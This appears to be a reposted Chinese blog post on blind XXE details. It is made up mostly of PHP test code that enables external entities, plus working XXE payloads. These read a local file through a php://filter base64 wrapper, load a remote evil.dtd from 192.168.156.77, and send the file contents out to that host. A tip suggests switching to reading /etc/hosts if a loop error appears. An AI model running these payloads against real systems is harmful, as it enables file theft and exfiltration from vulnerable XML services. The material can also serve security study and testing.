blind-XXE的几个细节

Posted kuboy

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了blind-XXE的几个细节相关的知识,希望对你有一定的参考价值。

 

在libxml>=2.9.0以后的版本默认不开启外部实体解析,需要添加参数开启

 

<?php
$xml = <<<EOF
<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/tmp/aaa.txt">
<!ENTITY % remote SYSTEM "http://192.168.156.77/xxe/evil.dtd">
%remote;
%all;
]>
<c>&send;</c>
EOF;

libxml_disable_entity_loader(false);
$data = simplexml_load_string($xml, ‘SimpleXMLElement‘, LIBXML_NOENT);#print_r($data);

 

<!ENTITY % all
"<!ENTITY send SYSTEM ‘http://192.168.156.77/?%file;‘>"
>

 

<?php
$xml = <<<EOF
<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/tmp/aaa.txt">
<!ENTITY % remote SYSTEM "http://192.168.156.77/xxe/evil.dtd">
%remote;
%send;
]>
<c></c>
EOF;

libxml_disable_entity_loader(false);
$data = simplexml_load_string($xml, ‘SimpleXMLElement‘, LIBXML_NOENT);
#print_r($data);

 

<!ENTITY % all
"<!ENTITY &#37; send SYSTEM ‘http://192.168.156.77/?%file;‘>"
>

 

如果有类似如下报错,尝试换/etc/hosts读取,可能是防止指数放大攻击,对内容长度做了限制。

Detected an entity reference loop in http://192.168.125.133:8081/evil.dtd

 

技术分享图片

 


以上是关于blind-XXE的几个细节的主要内容,如果未能解决你的问题,请参考以下文章

自动装箱和拆箱的几个细节

[javase学习笔记]-7.5 构造函数须要注意的几个细节

@ConfigurationProperties的几个使用细节

网站优化URL需要注意的几个细节

@Autowired的几个使用细节

Django ORM操作的几个细节